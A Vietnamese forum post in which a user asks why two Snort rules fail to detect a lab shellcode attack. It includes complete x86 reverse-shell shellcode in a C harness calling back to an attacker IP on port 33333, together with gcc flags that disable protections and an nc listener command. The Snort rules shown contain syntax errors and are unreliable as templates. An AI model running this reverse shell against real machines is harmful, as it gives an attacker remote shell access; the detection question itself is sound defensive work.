nguyenblack
Active Member
-
03/10/2017
-
4
-
36 bài viết
Write rule snort error
Đặc điểm là chỉ có 1 lần bắt tay 3 bước TCP. Nên em viết rule thế này:
alert any any -> any any (msg:"Test";ack:1;classtype:shellcode-detect;sid;1000001;rev:1
và
alert any any -> any any (msg:"test2";flags:S;flow:to_server,established;detecion_filter:track by_src, count: 5,sencond 5; classtype:shellcode-detect;sid:1000002;rev:1
Nhưng không hiểu sao cả 2 rule đều không hoạt động. Anh em nào biết thì giải thích mình với . Cảm ơn ạ
mình sử dụng shellcode:
#include <stdio.h>
#include <string.h>
char code[] = \
"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0"
"\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68"
"\xc0\xa8\x01\x85" // <— địa chỉ IP máy attacker
"\x66\x68"
"\x82\x35" // <— port 33333
"\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int main(int argc,char **argv) {
int(*func)();
func=(int(*)())code;
(int)(*func)();
}
ví dụ mình lưu tên file là shellcode.c
chạy lệnh : gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
cả máy victim và attacker đều sử dụng kali linux hết.
khi chạy lệnh trên thì ta được 1 file shellcode. Copy file này để bên victim.
bên attack chạy lệnh : nc -lvp 33333 ( lắng nghe port 33333)
bên máy victim chạy : ./shellcode ( chạy file shellcode vừa tạo )
khi chạy xong thì máy attacker mở kết nối tới victim.
Anh/em nào cho mình biết rule snort để phát hiện cuộc tấn công shellcode này với nhé. Mình mò hơn 2 tuần rồi. Cảm ơn mọi người
Chỉnh sửa lần cuối:
